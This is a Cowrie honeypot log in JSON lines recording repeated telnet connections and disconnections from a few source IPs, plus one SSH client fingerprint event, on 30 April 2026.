{"eventid":"cowrie.session.closed","duration":30.888030290603638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.063542Z","src_ip":"69.6.225.50","session":"3e216089b41e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407302379608154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.295663Z","src_ip":"69.6.225.50","session":"71ecc083e1bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60080,"dst_ip":"159.203.135.109","dst_port":23,"session":"d98500d40394","protocol":"telnet","message":"New connection: 69.6.225.50:60080 (159.203.135.109:23) [session: d98500d40394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.323315Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44582,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca882ab2071","protocol":"telnet","message":"New connection: 144.79.218.12:44582 (10.17.0.5:23) [session: aca882ab2071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.476535Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"833bd24d3e98","protocol":"telnet","message":"New connection: 69.6.225.50:60092 (159.203.135.109:23) [session: 833bd24d3e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.830768Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb34be8dad02","protocol":"telnet","message":"New connection: 144.79.218.12:44588 (10.17.0.5:23) [session: bb34be8dad02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.836044Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60060,"dst_ip":"159.203.135.109","dst_port":23,"session":"38e77b029956","protocol":"telnet","message":"New connection: 69.6.225.50:60060 (159.203.135.109:23) [session: 38e77b029956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:30.906942Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e16bed9b31d","protocol":"telnet","message":"New connection: 144.79.218.12:44596 (10.17.0.5:23) [session: 6e16bed9b31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.020833Z"}
{"eventid":"cowrie.session.closed","duration":30.64724326133728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.056080Z","src_ip":"69.6.225.50","session":"dcb81d2a3b62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256223917007446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.075522Z","src_ip":"69.6.225.50","session":"b7a6ba0f64ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80331802368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.127577Z","src_ip":"69.6.225.50","session":"20ee1b835a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd304f1a553","protocol":"telnet","message":"New connection: 144.79.218.12:44610 (10.17.0.5:23) [session: cbd304f1a553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.219498Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f217b8f0c295","protocol":"telnet","message":"New connection: 144.79.218.12:44622 (10.17.0.5:23) [session: f217b8f0c295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.336812Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44630,"dst_ip":"10.17.0.5","dst_port":23,"session":"490390751513","protocol":"telnet","message":"New connection: 144.79.218.12:44630 (10.17.0.5:23) [session: 490390751513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.536215Z"}
{"eventid":"cowrie.session.closed","duration":32.58984923362732,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:31.556309Z","src_ip":"144.79.218.12","session":"aa953a81f6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276703357696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:32.050146Z","src_ip":"69.6.225.50","session":"f4698e6a3cc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761444330215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:32.150525Z","src_ip":"69.6.225.50","session":"5dd3a53202e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787565231323242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:32.191311Z","src_ip":"69.6.225.50","session":"6ed1a09f6d05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94889283180237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:32.584405Z","src_ip":"144.79.218.12","session":"22352d4a3ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60104,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0e0c139a61b","protocol":"telnet","message":"New connection: 69.6.225.50:60104 (159.203.135.109:23) [session: c0e0c139a61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:32.846567Z"}
{"eventid":"cowrie.session.closed","duration":30.749600172042847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.052563Z","src_ip":"69.6.225.50","session":"1473aaf06030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4242844581604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.057957Z","src_ip":"69.6.225.50","session":"1e18993fb6de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.251277923583984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.093767Z","src_ip":"69.6.225.50","session":"ac4db80efa89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186845541000366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.140713Z","src_ip":"69.6.225.50","session":"18bbff25d66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355332136154175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.173315Z","src_ip":"69.6.225.50","session":"cb3dc2981099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.309616804122925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.287683Z","src_ip":"144.79.218.12","session":"d2644cc9a81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60116,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f43883b68c","protocol":"telnet","message":"New connection: 69.6.225.50:60116 (159.203.135.109:23) [session: b6f43883b68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.550016Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60124,"dst_ip":"159.203.135.109","dst_port":23,"session":"c274256e1143","protocol":"telnet","message":"New connection: 69.6.225.50:60124 (159.203.135.109:23) [session: c274256e1143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:33.782684Z"}
{"eventid":"cowrie.session.closed","duration":30.609413862228394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.049402Z","src_ip":"69.6.225.50","session":"09a9a1c9a651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81370735168457,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.093719Z","src_ip":"144.79.218.12","session":"3274fa4ae147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cfa1319d531","protocol":"telnet","message":"New connection: 144.79.218.12:44644 (10.17.0.5:23) [session: 9cfa1319d531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.127101Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60136,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e78c86b3b8","protocol":"telnet","message":"New connection: 69.6.225.50:60136 (159.203.135.109:23) [session: 58e78c86b3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.353849Z"}
{"eventid":"cowrie.session.closed","duration":30.787980556488037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.369106Z","src_ip":"69.6.225.50","session":"5db1981cf59e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27026605606079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.635230Z","src_ip":"69.6.225.50","session":"01825ed37e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60138,"dst_ip":"159.203.135.109","dst_port":23,"session":"e64a2eae9085","protocol":"telnet","message":"New connection: 69.6.225.50:60138 (159.203.135.109:23) [session: e64a2eae9085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:34.832652Z"}
{"eventid":"cowrie.session.closed","duration":37.05890655517578,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:35.283985Z","src_ip":"144.79.218.12","session":"f8767b3dc69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50101327896118,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:35.704623Z","src_ip":"144.79.218.12","session":"b8cde116cc62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"49206202fda5","protocol":"telnet","message":"New connection: 144.79.218.12:44658 (10.17.0.5:23) [session: 49206202fda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:35.714286Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60152,"dst_ip":"159.203.135.109","dst_port":23,"session":"511e31a65734","protocol":"telnet","message":"New connection: 69.6.225.50:60152 (159.203.135.109:23) [session: 511e31a65734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:35.720496Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77af55dac36","protocol":"telnet","message":"New connection: 144.79.218.12:44670 (10.17.0.5:23) [session: b77af55dac36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:35.801728Z"}
{"eventid":"cowrie.session.closed","duration":30.687459230422974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.054544Z","src_ip":"69.6.225.50","session":"124bb210140f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3647940158844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.059463Z","src_ip":"69.6.225.50","session":"6b212606dc81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563692569732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.075993Z","src_ip":"69.6.225.50","session":"0832af65b59c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659772396087646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.081531Z","src_ip":"69.6.225.50","session":"68f256aac90e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.318280458450317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.085585Z","src_ip":"69.6.225.50","session":"e4781f491fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60156,"dst_ip":"159.203.135.109","dst_port":23,"session":"c511707528cb","protocol":"telnet","message":"New connection: 69.6.225.50:60156 (159.203.135.109:23) [session: c511707528cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.094734Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44686,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa72902e2936","protocol":"telnet","message":"New connection: 144.79.218.12:44686 (10.17.0.5:23) [session: aa72902e2936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.417218Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60162,"dst_ip":"159.203.135.109","dst_port":23,"session":"16dfb9427a63","protocol":"telnet","message":"New connection: 69.6.225.50:60162 (159.203.135.109:23) [session: 16dfb9427a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.559853Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44692,"dst_ip":"10.17.0.5","dst_port":23,"session":"84698a4b983d","protocol":"telnet","message":"New connection: 144.79.218.12:44692 (10.17.0.5:23) [session: 84698a4b983d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.603936Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bdb09012205","protocol":"telnet","message":"New connection: 185.15.23.59:46922 (159.203.135.109:23) [session: 2bdb09012205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.683784Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60172,"dst_ip":"159.203.135.109","dst_port":23,"session":"758b8fa824c4","protocol":"telnet","message":"New connection: 69.6.225.50:60172 (159.203.135.109:23) [session: 758b8fa824c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.784614Z"}
{"eventid":"cowrie.session.closed","duration":35.52839183807373,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:36.813288Z","src_ip":"144.79.218.12","session":"617675b84e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651297569274902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.052675Z","src_ip":"69.6.225.50","session":"673ec8db978d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608506679534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.152590Z","src_ip":"69.6.225.50","session":"815cf8ee9115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60184,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ea5b70a57b","protocol":"telnet","message":"New connection: 69.6.225.50:60184 (159.203.135.109:23) [session: 06ea5b70a57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.161232Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60198,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c6856536d7b","protocol":"telnet","message":"New connection: 69.6.225.50:60198 (159.203.135.109:23) [session: 2c6856536d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.277126Z"}
{"eventid":"cowrie.session.closed","duration":30.9567391872406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.320408Z","src_ip":"69.6.225.50","session":"6c054ab2001b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60202,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3aeae828e7","protocol":"telnet","message":"New connection: 69.6.225.50:60202 (159.203.135.109:23) [session: 9e3aeae828e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.330957Z"}
{"eventid":"cowrie.session.closed","duration":35.48470664024353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.398189Z","src_ip":"144.79.218.12","session":"662c57f74d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60214,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d60607b5d7","protocol":"telnet","message":"New connection: 69.6.225.50:60214 (159.203.135.109:23) [session: 84d60607b5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.651883Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9002cc83724","protocol":"telnet","message":"New connection: 144.79.218.12:44706 (10.17.0.5:23) [session: f9002cc83724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.696723Z"}
{"eventid":"cowrie.session.closed","duration":31.061177492141724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.843344Z","src_ip":"69.6.225.50","session":"3df2e3837a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60218,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82d81984d35","protocol":"telnet","message":"New connection: 69.6.225.50:60218 (159.203.135.109:23) [session: a82d81984d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.854247Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e8460ea4141","protocol":"telnet","message":"New connection: 69.6.225.50:60230 (159.203.135.109:23) [session: 0e8460ea4141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:37.882323Z"}
{"eventid":"cowrie.session.closed","duration":31.094794511795044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:38.069950Z","src_ip":"69.6.225.50","session":"cb3a384e10b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65332269668579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:38.092633Z","src_ip":"69.6.225.50","session":"545596654bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52278,"dst_ip":"159.203.135.109","dst_port":23,"session":"91ab3c7a4e4b","protocol":"telnet","message":"New connection: 69.6.225.50:52278 (159.203.135.109:23) [session: 91ab3c7a4e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:38.381427Z"}
{"eventid":"cowrie.session.closed","duration":33.47884678840637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:38.884613Z","src_ip":"144.79.218.12","session":"4c91c72d0ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52286,"dst_ip":"159.203.135.109","dst_port":23,"session":"710d761718a5","protocol":"telnet","message":"New connection: 69.6.225.50:52286 (159.203.135.109:23) [session: 710d761718a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:38.973242Z"}
{"eventid":"cowrie.session.closed","duration":30.331397533416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.070866Z","src_ip":"69.6.225.50","session":"2142c04a1a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416776180267334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.083596Z","src_ip":"69.6.225.50","session":"859b25fc6c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47854,"dst_ip":"159.203.135.109","dst_port":22,"session":"b54386726adf","protocol":"ssh","message":"New connection: 68.183.236.1:47854 (159.203.135.109:22) [session: b54386726adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.160306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.166216Z","src_ip":"68.183.236.1","session":"b54386726adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.791655778884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.213459Z","src_ip":"69.6.225.50","session":"7e0c8026af98","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.419839Z","src_ip":"68.183.236.1","session":"b54386726adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"f322aa7be65a","protocol":"telnet","message":"New connection: 69.6.225.50:52292 (159.203.135.109:23) [session: f322aa7be65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.594738Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56462,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f013d098389","protocol":"telnet","message":"New connection: 185.15.23.59:56462 (159.203.135.109:23) [session: 6f013d098389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:39.873776Z"}
{"eventid":"cowrie.session.closed","duration":31.78253436088562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.055034Z","src_ip":"144.79.218.12","session":"1d1d31a6b246","protocol":"telnet"}
